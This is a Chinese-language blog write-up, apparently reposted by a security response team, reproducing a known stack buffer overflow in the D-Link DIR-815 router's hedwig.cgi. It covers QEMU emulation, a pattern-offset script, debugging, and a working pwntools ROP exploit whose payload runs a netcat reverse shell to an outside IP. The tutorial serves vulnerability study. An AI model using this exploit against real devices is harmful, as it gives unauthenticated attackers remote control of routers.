家用路由器D-LINK DIR-81漏洞挖掘实例分析
一、所需相关资源
二、漏洞介绍
exploitdb介绍:https://www.exploit-db.com/exploits/33863

Buffer overflow on “hedwig.cgi”Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.
从漏洞公告中可以看出,该漏洞存在于名为“hedwig.cgi”的CGI脚本中,未认证攻击者通过调用这个CGI脚本传递一个超长的Cookie值,使得程序栈溢出,从而获得路由器的远程控制权限。
三、漏洞分析
漏洞定位


IDA静态调试分析-定位漏洞溢出点



四、IDA动态调试-确定偏移位置


mkdir -p ./usr/lib/mkdir -p ./lib/x86_64-linux-gnu/mkdir -p ./lib64/cp -p /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0 ./usr/lib/cp -p /lib/x86_64-linux-gnu/libglib-2.0.so.0 ./lib/x86_64-linux-gnu/cp -p /lib/x86_64-linux-gnu/librt.so.1 ./lib/x86_64-linux-gnu/cp -p /lib/x86_64-linux-gnu/libm.so.6 ./lib/x86_64-linux-gnu/cp -p /lib/x86_64-linux-gnu/libgcc_s.so.1 ./lib/x86_64-linux-gnu/cp -p /lib/x86_64-linux-gnu/libpthread.so.0 ./lib/x86_64-linux-gnu/cp -p /lib/x86_64-linux-gnu/libc.so.6 ./lib/x86_64-linux-gnu/cp -p /lib/x86_64-linux-gnu/libdl.so.2 ./lib/x86_64-linux-gnu/cp -p /lib/x86_64-linux-gnu/libpcre.so.3 ./lib/x86_64-linux-gnu/cp -p /lib64/ld-linux-x86-64.so.2 ./lib64/
#!/bin/bash#注意:里面=和变量之间一定不要有空格,坑,否则读入空数据。#test=$(python -c "print 'uid='+open('content','r').read(2000)") #方式一,以文件形式读入内容,提前填充好构造的数据到content文件#test=$(python -c "print 'uid=' + 'A'*0x600" )#方式二,直接后面接数据内容test=$(python -c "print 'uid='+open('exploit','r').read()")#test =$(python -c "print 'uid=' + 'A'*1043 + 'B'*4")#可选构造数据LEN=$(echo -n "$test" | wc -c) #如果有看《揭秘家用路由器0day漏洞挖掘技术》书的同学,书上这里应该是填错了PORT="1234"cp $(which qemu-mipsel) ./qemusudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null #-E参数:加入环境变量 ;2>/dev/null :不输出提示错误rm -f ./qemu
python patternLocOffset.py -c -l 2000 -f content
# coding:utf-8'''生成定位字符串:轮子直接使用'''import argparseimport structimport binasciiimport stringimport sysimport reimport timea ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"b ="abcdefghijklmnopqrstuvwxyz"c = "0123456789"def generate(count,output):# pattern createcodeStr =''print '[*] Create pattern string contains %d characters'%counttimeStart = time.time()for i in range(0,count):codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]print 'ok!'if output:print '[+] output to %s'%outputfw = open(output,'w')fw.write(codeStr)fw.close()print 'ok!'else:return codeStrprint "[+] take time: %.4f s"%(time.time()-timeStart)def patternMatch(searchCode, length=1024):# pattern searchoffset = 0pattern = NonetimeStart = time.time()is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)isHex = re.match('^[0-9a-fA-F]{8}',searchCode)if is0xHex:#0x41613141pattern = binascii.a2b_hex(searchCode[2:])elif isHex:pattern = binascii.a2b_hex(searchCode)else:print '[-] seach Pattern eg:0x41613141'sys.exit(1)source = generate(length,None)offset = source.find(pattern)if offset != -1: # MBSprint "[*] Exact match at offset %d" % offsetelse:"[*] No exact matches, looking for likely candidates..."reverse = list(pattern)reverse.reverse()pattern = "".join(reverse)offset = source.find(pattern)if offset != -1:print "[+] Possible match at offset %d (adjusted another-endian)" % offsetprint "[+] take time: %.4f s" % (time.time() - timeStart)def mian():'''parse argument'''parser = argparse.ArgumentParser()parser.add_argument('-s', '--search', help='search for pattern')parser.add_argument('-c', '--create', help='create a pattern',action='store_true')parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)args = parser.parse_args()'''save all argument'''length= args.lengthoutput = args.filecreateCode = args.createsearchCode = args.searchif createCode and (0 <args.length <= 26*26*10):generate(length,output)elif searchCode and (0 <args.length <=26*26*10):patternMatch(searchCode,length)else:print '[-] You shoud chices from [-c -s]'print '[-] Pattern length must be less than 6760'print 'more help: pattern.py -h'if __name__ == "__main__":if __name__ == '__main__':mian()





python patternLocOffset.py -s 0x38694237 -l 2000
五、构造ROP
无论是第一个sprintf还是第二个sprintf函数发生溢出,分析的流程是一样的,定位漏洞位置和确定偏移值。
gdb-multiarch+QEMU动态调试分析验证
gdb-multiarch htdocs/cgibin #一定要加载文件htdocs/cgibin不然vmmap得不到结果set architecture mipstarget remote :1234b *0x409A54 #hedwigcgi_main()函数返回jr ra处,先前IDA静态分析可获得此地址cvmmap



cache incoherency问题(影响EXP执行)
坏字符问题
六、qemu系统模式

Umask 026PIDFile /var/run/httpd.pidLogGMT On #开启logErrorLog /log #log文件Tuning{NumConnections 15BufSize 12288InputBufSize 4096ScriptBufSize 4096NumHeaders 100Timeout 60ScriptTimeout 60}Control{Types{text/html { html htm }text/xml { xml }text/plain { txt }image/gif { gif }image/jpeg { jpg }text/css { css }application/octet-stream { * }}Specials{Dump { /dump }CGI { cgi }Imagemap { map }Redirect { url }}External{/usr/sbin/phpcgi { php }}}Server{ServerName "Linux, HTTP/1.1, "ServerId "1234"Family inetInterface eth0 #对应qemu仿真路由器系统的网卡Address 192.168.x.x #qemu仿真路由器系统的IPPort "1234" #对应未被使用的端口Virtual{AnyHostControl{Alias /Location /htdocs/webIndexNames { index.php }External{/usr/sbin/phpcgi { router_info.xml }/usr/sbin/phpcgi { post_login.xml }}}Control{Alias /HNAP1Location /htdocs/HNAP1External{/usr/sbin/hnap { hnap }}IndexNames { index.hnap }}}}
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

此内容提示。sudo scp -r squashfs-root root@192.168.x.x:/root/
cp conf /cp sbin/httpd /cp -rf htdocs/ /rm /etc/servicescp -rf etc/ /cp lib/ld-uClibc-0.9.30.1.so /lib/cp lib/libcrypt-0.9.30.1.so /lib/cp lib/libc.so.0 /lib/cp lib/libgcc_s.so.1 /lib/cp lib/ld-uClibc.so.0 /lib/cp lib/libcrypt.so.0 /lib/cp lib/libgcc_s.so /lib/cp lib/libuClibc-0.9.30.1.so /lib/cd /ln -s /htdocs/cgibin /htdocs/web/hedwig.cgiln -s /htdocs/cgibin /usr/sbin/phpcgiln -s /htdocs/cgibin /usr/sbin/hnap./httpd -f conf



curl http://192.168.79.143:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b "uid=zh"

七、gdbserver调试
1、接下来尝试调试/htdocs/web/hedwig.cgi文件

export CONTENT_LENGTH="100"export CONTENT_TYPE="application/x-www-form-urlencoded"export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"export HTTP_COOKIE="uid=1234"

echo 0 > /proc/sys/kernel/randomize_va_space
#!/bin/bashexport CONTENT_LENGTH="100"export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="`cat content`" #content你自己构造的数据内容,原本是没有的按上面所述的方式去创建export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"echo "uid=1234"|./gdbserver.mipsel 192.168.x.x:9999 /htdocs/web/hedwig.cgi
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
root@debian-mipsel:~/squashfs-root#export CONTENT_LENGTH="100"root@debian-mipsel:~/squashfs-root#export CONTENT_TYPE="application/x-www-form-urlencoded"root@debian-mipsel:~/squashfs-root#export HTTP_COOKIE="uid=1234"root@debian-mipsel:~/squashfs-root#export REQUEST_METHOD="POST"root@debian-mipsel:~/squashfs-root#export REQUEST_URI="/hedwig.cgi"root@debian-mipsel:~/squashfs-root#/htdocs/web/hedwig.cgi & cat /proc/pid/maps[10] 1052cat: /proc/pid/maps: No such file or directoryroot@debian-mipsel:~/squashfs-root#/htdocs/web/hedwig.cgi & cat /proc/pid/maps[11] 1054cat: /proc/pid/maps: No such file or directory[10]+ Stopped /htdocs/web/hedwig.cgiroot@debian-mipsel:~/squashfs-root#/htdocs/web/hedwig.cgi & cat /proc/1056/maps[12] 105600400000-0041c000 r-xp 00000000 08:01 32694 /htdocs/cgibin0042c000-0042d000 rw-p 0001c000 08:01 32694 /htdocs/cgibin0042d000-0042f000 rwxp 00000000 00:00 0 [heap]77f34000-77f92000 r-xp 00000000 08:01 547906 /lib/libc.so.077f92000-77fa1000 ---p 00000000 00:00 077fa1000-77fa2000 r--p 0005d000 08:01 547906 /lib/libc.so.077fa2000-77fa3000 rw-p 0005e000 08:01 547906 /lib/libc.so.077fa3000-77fa8000 rw-p 00000000 00:00 077fa8000-77fd1000 r-xp 00000000 08:01 546761 /lib/libgcc_s.so.177fd1000-77fe1000 ---p 00000000 00:00 077fe1000-77fe2000 rw-p 00029000 08:01 546761 /lib/libgcc_s.so.177fe2000-77fe7000 r-xp 00000000 08:01 547907 /lib/ld-uClibc.so.077ff5000-77ff6000 rw-p 00000000 00:00 077ff6000-77ff7000 r--p 00004000 08:01 547907 /lib/ld-uClibc.so.077ff7000-77ff8000 rw-p 00005000 08:01 547907 /lib/ld-uClibc.so.07ffd6000-7fff7000 rwxp 00000000 00:00 0 [stack]7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso][11]+ Stopped /htdocs/web/hedwig.cgi
八、编写EXP
#!/usr/bin/python2from pwn import *context.endian = "little"context.arch = "mips"base_addr = 0x77f34000system_addr_1 = 0x53200-1gadget1 = 0x45988gadget2 = 0x159cccmd = 'nc -e /bin/bash 192.168.79.145 9999'padding = 'A' * 973 #1009-4*9padding += p32(base_addr + system_addr_1) # s0padding += p32(base_addr + gadget2) # s1padding += 'A' * 4 # s2padding += 'A' * 4 # s3padding += 'A' * 4 # s4padding += 'A' * 4 # s5padding += 'A' * 4 # s6padding += 'A' * 4 # s7padding += 'A' * 4 # fppadding += p32(base_addr + gadget1) # rapadding += 'B' * 0x10padding += cmdf = open("context",'wb')f.write(padding)f.close()
#!/bin/bashexport CONTENT_LENGTH="100"export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="uid=`cat context`"export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"echo "uid=1234"|/htdocs/web/hedwig.cgi#echo "uid=1234"|./gdbserver.mipsel 192.168.x.145:9999 /htdocs/web/hedwig.cgi

九、总结
由于各种原因涉及此行业,也是个人第一个完整复现成功的漏洞,在学习过程中发现许多问题,并且从解决过程中收获许多,正是因为遇到许多奇怪的坑,并且能找的相关资料甚少,所以花了大量时间完成了本文,文中内容尽量做到细节步骤都配图说明,希望能帮助到更多的同学。
十、参考
1、DIR815缓冲区溢出漏洞分析相关
看雪ID:herculiz
https://bbs.pediy.com/user-home-913238.htm
往期回顾
技术
技术
技术
技术
技术



长按识别二维码关注我们
微信号:PSRC_Team

球分享

球点赞

球在看
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 中法元首相会都江堰 7904013
- 2 中方不接受日方所谓交涉 已当场驳回 7809474
- 3 大闸蟹为何会在欧美泛滥成灾 7711972
- 4 国际机构看中国经济 关键词亮了 7618994
- 5 家长称婴儿被褥印不雅英文单词 7523731
- 6 日方军机滋扰擅闯或被视为训练靶标 7425350
- 7 长沙一男子要取现20万 银行紧急报警 7328630
- 8 国乒8比1击败日本队 11战全胜夺冠 7234466
- 9 男子海洋馆内抽烟被白鲸喷水浇灭 7140484
- 10 千吨级“巨无霸”就位 7047383







平安安全应急响应中心
